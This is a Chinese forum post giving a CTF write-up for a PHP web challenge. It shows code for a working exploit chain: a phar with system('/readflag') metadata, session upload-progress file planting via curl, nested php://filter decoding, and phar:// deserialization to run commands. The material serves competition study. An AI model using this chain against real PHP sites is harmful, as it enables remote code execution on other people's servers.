ToB企服应用市场:ToB评测及商务社交产业平台

标题: CTF-WEB php-Session 文件利用 [第一届国城杯 n0ob_un4er 赛后学习条记] [打印本页]

作者: 瑞星    时间: 前天 03:46
标题: CTF-WEB php-Session 文件利用 [第一届国城杯 n0ob_un4er 赛后学习条记]
step 1

搭建容器
教程


标题

github.com
Dockerfile 有点题目,手动修复一下

  1. FROM php:7.2-apache
  2. COPY ./flag /root
  3. COPY ./readflag /
  4. COPY ./html/ /var/www/html/
  5. COPY ./php.ini /usr/local/etc/php/php.ini
  6. COPY ./readflag /readsecret
  7. RUN chmod 755 /var/www/html && chown -R root:www-data /var/www/html && chmod 400 /root/flag && chmod 4111 /readflag
复制代码
修改php ini

  1. ; session.upload_progress.cleanup = On
  2. session.upload_progress.cleanup = Off
复制代码
不修改的话/tmp里的东西会被删掉,就看不了了
step 2

  1. <?php
  2. $SECRET  = `/readsecret`;
  3. include "waf.php";
  4. class User {
  5.     public $role;
  6.     function __construct($role) {
  7.         $this->role = $role;
  8.     }
  9. }
  10. class Admin{
  11.     public $code;
  12.     function __construct($code) {
  13.         $this->code = $code;
  14.     }
  15.     function __destruct() {
  16.         echo "Admin can play everything!";
  17.         eval($this->code);
  18.     }
  19. }
  20. function game($filename) {
  21.     if (!empty($filename)) {
  22.         if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
  23.             echo "Well done!";
  24.         } else {
  25.             echo "Copy failed.";
  26.         }
  27.     } else {
  28.         echo "User can play copy game.";
  29.     }
  30. }
  31. function set_session(){
  32.     global $SECRET;
  33.     $data = serialize(new User("user"));
  34.     $hmac = hash_hmac("sha256", $data, $SECRET);
  35.     setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
  36. }
  37. function check_session() {
  38.     global $SECRET;
  39.     $data = $_COOKIE["session-data"];
  40.     list($data, $hmac) = explode("-----", $data, 2);
  41.     if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
  42.         die("hacker!");
  43.     }
  44.     $data = unserialize($data);
  45.     if ( $data->role === "user" ){
  46.         game($_GET["filename"]);
  47.     }else if($data->role === "admin"){
  48.         return new Admin($_GET['code']);
  49.     }
  50.     return 0;
  51. }
  52. if (!isset($_COOKIE["session-data"])) {
  53.     set_session();
  54.     highlight_file(__FILE__);
  55. }else{
  56.     highlight_file(__FILE__);
  57.     check_session();
  58. }
  59. User can play copy game.
复制代码
我们可以利用Session临时文件,关于临时文件,请看以下文章
国城杯n0ob_un4er-wp - Litsasuk - 博客园
PHP: Session 上传进度 - Manual
浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云
这里第二个file是什么不紧张,只要是文件就可以
  1. curl http://127.0.0.1:1337/ -H 'Cookie: PHPSESSID=litsasuk' -F 'PHP_SESSION_UPLOAD_PROGRESS=[Your_data]' -F 'file=@/etc/passwd'
  2. root@07710596cbbe:/# cd ./tmp
  3. root@07710596cbbe:/tmp# ls
  4. sess_litsasuk
  5. root@07710596cbbe:/tmp# cat sess_litsasuk
  6. upload_progress_[Your_data]|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
复制代码
step 3

copy可以通过伪协议触发phar反序列化
  1. <?php
  2. highlight_file(__FILE__);
  3. class Admin{
  4.     public $code;
  5. }
  6. @unlink('test.phar');
  7. $phar=new Phar('test.phar');
  8. $phar->startBuffering();
  9. $phar->setStub('<?php __HALT_COMPILER(); ?>');
  10. $o=new Admin();
  11. $o ->code="system('/readflag');";
  12. $phar->setMetadata($o);
  13. $phar->addFromString("test.txt","test");
  14. $phar->stopBuffering();
  15. ?>
复制代码
step 4

试验
  1. <?php  
  2. // 文件名  
  3. $inputFile = 'test'; // 输入文件名  
  4. $outputFile = 'test'; // 输出文件名  
  5.   
  6. // 打开输入文件并读取内容  
  7. $inputHandle = fopen("php://filter/read=convert.base64-decode/resource=$inputFile", 'r');  
  8. if (!$inputHandle) {  
  9.     die("无法打开输入文件: $inputFile");  
  10. }  
  11.   
  12. // 读取解码后的内容  
  13. $decodedContent = stream_get_contents($inputHandle);  
  14. fclose($inputHandle);  
  15.   
  16. // 打开输出文件并写入解码后的内容  
  17. $outputHandle = fopen($outputFile, 'w');  
  18. if (!$outputHandle) {  
  19.     die("无法打开输出文件: $outputFile");  
  20. }  
  21.   
  22. fwrite($outputHandle, $decodedContent);  
  23. fclose($outputHandle);  
  24.   
  25. echo "文件解码并写回成功!";  
  26. ?>
复制代码
原理部分

字符串“Man”的Base64编码

因此,字符串“Man”被Base64编码后就是“TWFu”。
字符串“Ma”的Base64编码

试验开始

  1. d2lu
复制代码
decode->
  1. win
复制代码
and
  1. ----d2lu
复制代码
decode->
  1. win
复制代码
试验得出结论,php在base64解码时会忽视base64表以外的内容,base64表如下
  1. ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
复制代码
upload_progress_ 的有用字符只有14个,以是
从docker抓取文件内容试验
  1. upload_progress_aad2lu|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
复制代码
decode->
  1. 簷hi趉?薏茪win
  2. k?宜Zb欒碉}O|滞xr夗z{ezx-?鲎k5寮瓃蔾∏鏱適v硣h濇醭椻曤?钔t~'v?奧v惟j?v?殭跈?沱fa??,l尻擘复硣h濇醭],氮矶)瀷^鬟遲魍l讝虻?畤睬潒o<
复制代码
我们能看到win

在其中
我们再双重编码一下win


  1. ZDJsdUNnPT0
  2. upload_progress_aaZDJsdUNnPT0|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
  3. 簷hi趉?薏茪d2luCg==嫱t仓卅z-{?}舆5砠^炠^?a媫第蛓o+^矚鑡?y胤踋?y絣屮频婩怀]夐]潻灣団曤8潻灣猌蔡乘f蛒榠 髣?9z鸿?,嶷'y絣譑-j籱奼⒆谨鬏=骩5寮瓃蔾∏鏱巯;
复制代码
我们能看到d2lu在其中,但是有一个题目,前面的有用字符不够了,只有两个破坏对齐了就没办法精确解码了,我们可以试试这样
编码 222—d2lu
  1. YWEtLS1kMmx1
  2. upload_progress_aaMjItLS1kMmx1=|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
复制代码
decode->
  1. 簷hi趉?薏茪22---d2luk?宜Zb欒碉}O|滞xr夗z{ezx-?鲎k5寮瓃蔾∏鏱適v硣h濇醭椻曤?钔t~'v?奧v惟j?v?殭跈?沱fa??,l尻擘复硣h濇醭],氮矶)瀷^鬟遲魍l讝虻?畤睬潒o<
复制代码
失败了,我们换个方法

Quoted-Printable 是一种用于编码数据的方式,特殊是在电子邮件传输(MIME 标准)中广泛使用。它的主要目的是确保数据在差别系统之间传输时保持同等性,制止因编码题目导致的数据破坏。
特点:

Quoted-Printable 解码

Quoted-Printable 解码 是指将使用 Quoted-Printable 编码的数据转换回原始的可读格式。这个过程包括:

这个东西编码后的密文只会是3的倍数,确保了对齐,我们直接用wp的有用负载研究原理
  1. <?php  
  2.   
  3. // 假设这是经过编码处理的最终 Base64 编码字符串  
  4. $encoded_string = file_get_contents('./test.txt');  
  5.   
  6. // 第一步:Base64 解码  
  7. $base64_decoded = base64_decode($encoded_string);  
  8. $base64_decoded = base64_decode($base64_decoded);  
  9. $base64_decoded = base64_decode($base64_decoded);  
  10. echo "Step 1 - Base64 Decode:
  11. ";  
  12. echo $base64_decoded . "
  13. ";  
  14.   
  15. // 第二步:Quoted-Printable 解码  
  16. $quoted_printable_decoded = quoted_printable_decode($base64_decoded);  
  17. echo "Step 2 - Quoted-Printable Decode:
  18. ";  
  19. echo $quoted_printable_decoded . "
  20. ";  
  21.   
  22. // 第四步:Base64 解码(再次)  
  23. $final_decoded = base64_decode($quoted_printable_decoded);  
  24. echo "Step 4 - Final Base64 Decode:
  25. ";  
  26. echo $final_decoded . "
  27. ";  
  28. ?>
  29. import base64
  30. # 读取文件内容
  31. with open('test.phar', 'rb') as file:
  32.     file_content = file.read()
  33. # 第一步:将文件内容进行 Base64 编码
  34. base64_encoded = base64.b64encode(file_content).decode('utf-8')
  35. # 第二步:将 Base64 编码后的内容转换为指定的格式
  36. encoded_str = ''.join(['=' + hex(ord(char))[2:] + '=00' for char in base64_encoded]).upper()
  37. # 打印结果
  38. print(encoded_str)
  39. upload_progress_ZZVUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDF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pD|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
复制代码
注意,必须填充A(解码后为0)确保每次加密后不存在=
  1. Step 1 - Base64 Decode: =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=37=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAAw? Step 2 - Quoted-Printable Decode: PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQptAAAAAQAAABEAAAABAAAAAAA3AAAATzo1OiJBZG1pbiI6MTp7czo0OiJjb2RlIjtzOjIwOiJzeXN0ZW0oJy9yZWFkZmxhZycpOyI7fQgAAAB0ZXN0LnR4dAQAAADdXBtnBAAAAAx+f9i2AQAAAAAAAHRlc3RJRO0vYuK55J3Zr+Hp47FKhoTfGwIAAABHQk1CAAAAAAAAAAAAw? Step 4 - Final Base64 Decode: m7O:5:"Admin":1:{s:4:"code";s:20:"system('/readflag');";}test.txt?g~?testID?/b??????J???GBMB
复制代码
不填充ZZ填充FF也可以,主要在于其解码后字符化为的有用字符数是否能对齐(自己解码试试!)
  1. Step 1 - Base64 Decode: =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=37=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAAw? Step 2 - Quoted-Printable Decode: PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQptAAAAAQAAABEAAAABAAAAAAA3AAAATzo1OiJBZG1pbiI6MTp7czo0OiJjb2RlIjtzOjIwOiJzeXN0ZW0oJy9yZWFkZmxhZycpOyI7fQgAAAB0ZXN0LnR4dAQAAADdXBtnBAAAAAx+f9i2AQAAAAAAAHRlc3RJRO0vYuK55J3Zr+Hp47FKhoTfGwIAAABHQk1CAAAAAAAAAAAAw? Step 4 - Final Base64 Decode: m7O:5:"Admin":1:{s:4:"code";s:20:"system('/readflag');";}test.txt?g~?testID?/b??????J???GBMB
复制代码

step 5

1.让copy从临时文件读取数据到/tmp/tmp.tmp
  1. ?filename=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=filename
复制代码
此处利用方法不唯一,大概有更简单的
字符串过滤器
转换过滤器
2.从tmp中解码文件并剖析phar中的test.txt文件触发反序列化来实验命令(如果没关php默认清除需要条件竞争)
  1. phar:///tmp/tmp.tmp/test.txt
复制代码
end – 24-12-12


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4